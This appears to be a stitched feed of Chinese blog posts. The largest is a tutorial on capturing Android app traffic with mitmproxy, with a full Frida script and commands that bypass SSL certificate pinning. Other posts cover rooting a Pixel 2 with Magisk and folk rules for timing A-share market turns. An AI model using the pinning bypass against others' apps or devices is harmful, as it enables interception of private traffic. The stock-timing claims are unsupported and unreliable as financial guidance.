  • (1)挑线,要保证 USB 数据线有效,优先使用 USB 2.0
  • (2)多刷几次,反复刷

我这次运气不错,遇上 14 错误后,换了个 USB 2.0 的口重刷一次就过了,祝大家好运。

重启后需要输入密码,提示尝试恢复数据,进度跑完就大功告成了。

事后的清理工作

恢复完数据,登录媳妇的手机发现以下几点问题:

  • (1) 手机存储空间紧张
  • (2) 后台驻留的程序比较多

导致白苹果的原因未知,将这些问题解决了一下,希望能正常使用了。

SSL pinning

SSL Pinning是一种防止中间人攻击的技术,主要机制是在客户端发起请求–>收到服务器发来的证书进行校验,如果收到的证书不被客户端信任,就直接断开连接不继续请求。可以发现中间人攻击的要点是伪造了一个假的服务端证书给了客户端,客户端误以为真。解决思路就是,客户端也预置一份服务端的证书,比较一下就知道真假了。

SSL-pinning有两种方式:证书锁定(Certificate Pinning) 和公钥锁定( Public Key Pinning)。

证书锁定

需要在客户端代码内置仅接受指定域名的证书,而不接受操作系统或浏览器内置的CA根证书对应的任何证书,通过这种授权方式,保障了APP与服务端通信的唯一性和安全性,因此客户端与服务端(例如API网关)之间的通信是可以保证绝对安全。但是CA签发证书都存在有效期问题,缺点是在证书续期后需要将证书重新内置到APP中。

公钥锁定

提取证书中的公钥并内置到客户端中,通过与服务器对比公钥值来验证连接的正确性。制作证书密钥时,公钥在证书的续期前后都可以保持不变(即密钥对不变),所以可以避免证书有效期问题,一般推荐这种做法。

(此小节内容摘抄自互联网)

总体思路

使用 mitmproxy https://github.com/mitmproxy/mitmproxy 进行抓包,使用 frida 绕过 SSL pinning, frida 的安装和使用这里就不再详述了,可以参考其他资料。

安装 mitmproxy

参考 https://docs.mitmproxy.org/stable/overview-installation/ 文档

可以直接下载 Linux binary: https://snapshots.mitmproxy.org/7.0.2/mitmproxy-7.0.2-linux.tar.gz, 或者使用 pip 进行安装 https://pypi.org/project/mitmproxy/
执行命令 ~/.local/bin/pip3 install mitmproxy --user

安装成功之后,有三个程序可以使用: mitmproxymitmdumpmitmweb

设置代理

在主机上执行下面几行命令设置代理

1
2
3
mitmweb -p 8080
adb shell settings put global http_proxy 127.0.0.1:8888
adb reverse tcp:8888 tcp:8080

mitmweb -p 8080 在本机起 8080 代理,在 Android 上设置 http 全局代理 127.0.0.1:8888, 最后将 Android 的 8888 端口转发到本机 8080 端口

设置 CA

https://docs.mitmproxy.org/stable/concepts-certificates/

1
The first time mitmproxy is run, it creates the keys for a certificate authority (CA) in the config directory (~/.mitmproxy by default).
Filename Contents
mitmproxy-ca.pem The certificate and the private key in PEM format.
mitmproxy-ca-cert.pem The certificate in PEM format. Use this to distribute on most non-Windows platforms.
mitmproxy-ca-cert.p12 The certificate in PKCS12 format. For use on Windows.
mitmproxy-ca-cert.cer Same file as .pem, but with an extension expected by some Android devices.

我们是 Android 应该使用 mitmproxy-ca-cert.cer,在 Android 系统安装的话,需要点击 设置 -〉安全 -〉 加密与凭证 -〉安装证书 -〉CA 证书

使用 frida 绕过 SSL pinning

使用 frida 脚本首先需要将 mitmproxy-ca-cert.cer 上传到 /data/local/tmp/cert-der.crt

使用脚本 https://codeshare.frida.re/@pcipolloni/universal-android-ssl-pinning-bypass-with-frida/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
/*
Android SSL Re-pinning frida script v0.2 030417-pier

$ adb push burpca-cert-der.crt /data/local/tmp/cert-der.crt
$ frida -U -f it.app.mobile -l frida-android-repinning.js --no-pause

https://techblog.mediaservice.net/2017/07/universal-android-ssl-pinning-bypass-with-frida/

UPDATE 20191605: Fixed undeclared var. Thanks to @oleavr and @ehsanpc9999 !
*/

setTimeout(function(){
Java.perform(function (){
console.log("");
console.log("[.] Cert Pinning Bypass/Re-Pinning");

var CertificateFactory = Java.use("java.security.cert.CertificateFactory");
var FileInputStream = Java.use("java.io.FileInputStream");
var BufferedInputStream = Java.use("java.io.BufferedInputStream");
var X509Certificate = Java.use("java.security.cert.X509Certificate");
var KeyStore = Java.use("java.security.KeyStore");
var TrustManagerFactory = Java.use("javax.net.ssl.TrustManagerFactory");
var SSLContext = Java.use("javax.net.ssl.SSLContext");

// Load CAs from an InputStream
console.log("[+] Loading our CA...")
var cf = CertificateFactory.getInstance("X.509");

try {
var fileInputStream = FileInputStream.$new("/data/local/tmp/cert-der.crt");
}
catch(err) {
console.log("[o] " + err);
}

var bufferedInputStream = BufferedInputStream.$new(fileInputStream);
var ca = cf.generateCertificate(bufferedInputStream);
bufferedInputStream.close();

var certInfo = Java.cast(ca, X509Certificate);
console.log("[o] Our CA Info: " + certInfo.getSubjectDN());

// Create a KeyStore containing our trusted CAs
console.log("[+] Creating a KeyStore for our CA...");
var keyStoreType = KeyStore.getDefaultType();
var keyStore = KeyStore.getInstance(keyStoreType);
keyStore.load(null, null);
keyStore.setCertificateEntry("ca", ca);

// Create a TrustManager that trusts the CAs in our KeyStore
console.log("[+] Creating a TrustManager that trusts the CA in our KeyStore...");
var tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm();
var tmf = TrustManagerFactory.getInstance(tmfAlgorithm);
tmf.init(keyStore);
console.log("[+] Our TrustManager is ready...");

console.log("[+] Hijacking SSLContext methods now...")
console.log("[-] Waiting for the app to invoke SSLContext.init()...")

SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").implementation = function(a,b,c) {
console.log("[o] App invoked javax.net.ssl.SSLContext.init...");
SSLContext.init.overload("[Ljavax.net.ssl.KeyManager;", "[Ljavax.net.ssl.TrustManager;", "java.security.SecureRandom").call(this, a, tmf.getTrustManagers(), c);
console.log("[+] SSLContext initialized with our custom TrustManager!");
}
});
},0);

执行下面命令,绕过 SSL pinning

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
frida -U --codeshare pcipolloni/universal-android-ssl-pinning-bypass-with-frida -F

____
/ _ | Frida 14.2.18 - A world-class dynamic instrumentation toolkit
| (_| |
> _ | Commands:
/_/ |_| help -> Displays the help system
. . . . object? -> Display information about 'object'
. . . . exit/quit -> Exit
. . . .
. . . . More info at https://frida.re/docs/home/

[.] Cert Pinning Bypass/Re-Pinning
[+] Loading our CA...
[o] Our CA Info: O=mitmproxy, CN=mitmproxy
[+] Creating a KeyStore for our CA...
[+] Creating a TrustManager that trusts the CA in our KeyStore...
[+] Our TrustManager is ready...
[+] Hijacking SSLContext methods now...
[-] Waiting for the app to invoke SSLContext.init()...
[Pixel 2::智能生活]-> exit

其中 -F 参数 attach to frontmost application 不用指定 pid 或者包名,非常方便。

使用 mitmweb 查看报文

执行 mitmweb -p 8080 后可以用浏览器访问 http://127.0.0.1:8081/ 查看报文,如果需要共享报文数据可以使用
mitmweb 界面提供的 save 功能,会保存成一个 flow 文件,后面使用 mitmweb 界面提供的 open 打开报文文件即可展示报文详细信息。

参考资料

https://shunix.com/ssl-pinning/

沉浮 A股多年,发现一个比较重要的规律,A 股变盘的时间节点大多发生在重大节假日期间,分别举例如下:

  • 「1」重大节日 (包括阳历和农历: 劳动节,国庆节,中秋节,端午节,过年 等)
  • 「2」周一/周五
  • 「3」月初/月末

有人总结出 A 股变盘时间节点和农历的 24 节气相关,每个节气的时间间隔大致在 15 到 16 天左右,这条规律
其实和上面的 「1」 说法是一致的。

思考其背后的原因,平时交易日都是连续的中间无间断,大家的交易思路和看法也比较容易连续一致。
每逢重大节日,或者月初月末,往往都是放假休息的时间,外加期间各种信息的输入量比平时大很多,这样容易有思维波动。重大节日后,主力一带节奏,容易对大家的思维进行强化,分歧转一致后,就真的变盘了。

A股还有个月初,月末效应,月初赚钱,月末亏钱,比较奇怪,可能和基金经理的月初建仓和月末考核相关,这条规律几乎是对称的,如果月末没有大跌,月初基本就没有大赚效应。

后面发现居然有一个股票技术分析流派叫季节派。(季节理论 Season Theory)

afl-fuzz 的整体架构,新手理解起来还是比较费劲,网络上发现一张图觉得不错,放上来大家看看,感谢原作者。

afl-fuzz

要正常使用 frida 首先需要把手机给 root 了, 在最近测试的情况发现 Android 10 和 Android 11 系统工作比较正常, Android 6
和其他系统似乎差一些?

要刷机首先需要下载 adb 等工具,这些工具由 Android 的 SDK platform tools 提供,下载地址为:https://developer.android.com/studio/releases/platform-tools
选择相应的操作系统版本下载即可, Google 提供了 Windows、Linux、Mac 等系统的支持。

基础镜像可以选择的 Google 的官方镜像 Factory Image,如果能自己编译 Android 系统则更好,在调试的时候可以看到系统库的符号。

我的 Android 手机为 Pixel 2 在 https://developers.google.com/android/images#walleye 上可以查找相应的镜像, 下个最新的 https://dl.google.com/dl/android/aosp/walleye-rp1a.201005.004.a1-factory-0c23f6cf.zip

要想刷镜像前提条件是先要解锁 bootloader, Pixel2 新手机解锁的命令和以前有变化,可以参考 https://source.android.com/devices/bootloader/locking_unlocking

1
2
adb reboot bootloader
fastboot flashing unlock_critical

下载解压后,里面有个 flash-all 的脚本,将手机重启到 fastboot 模式后可以直接运行, adb reboot bootloader, 重启到 fastboot 模式后,执行 flash-all 脚本,刷机系统镜像就完成了。

以前 root Android 用的都是 SuperSU 和 TWRP, 这次使用了一个不同的方法 Magisk , 安装的方法参见:
https://topjohnwu.github.io/Magisk/install.html

有两种模式, patch boot 或者 patch recovery, 安装 Magisk app 后如果界面显示 Ramdisk:Yes,则需要 patch boot。
Magisk app 的下载地址 https://github.com/topjohnwu/Magisk/releases/download/v23.0/Magisk-v23.0.apk

安装 Magisk app 后, 选择需要 patch 的镜像文件,选择后会自动生成新的修改过后的镜像文件。
获得修改后的镜像文件后,需要将修改后的镜像文件重新刷一次

1
fastboot flash boot /path/to/magisk_patched.img #or fastboot flash recovery /path/to/magisk_patched.img

刷完新的修改后的镜像,重启系统,Root 就完成了。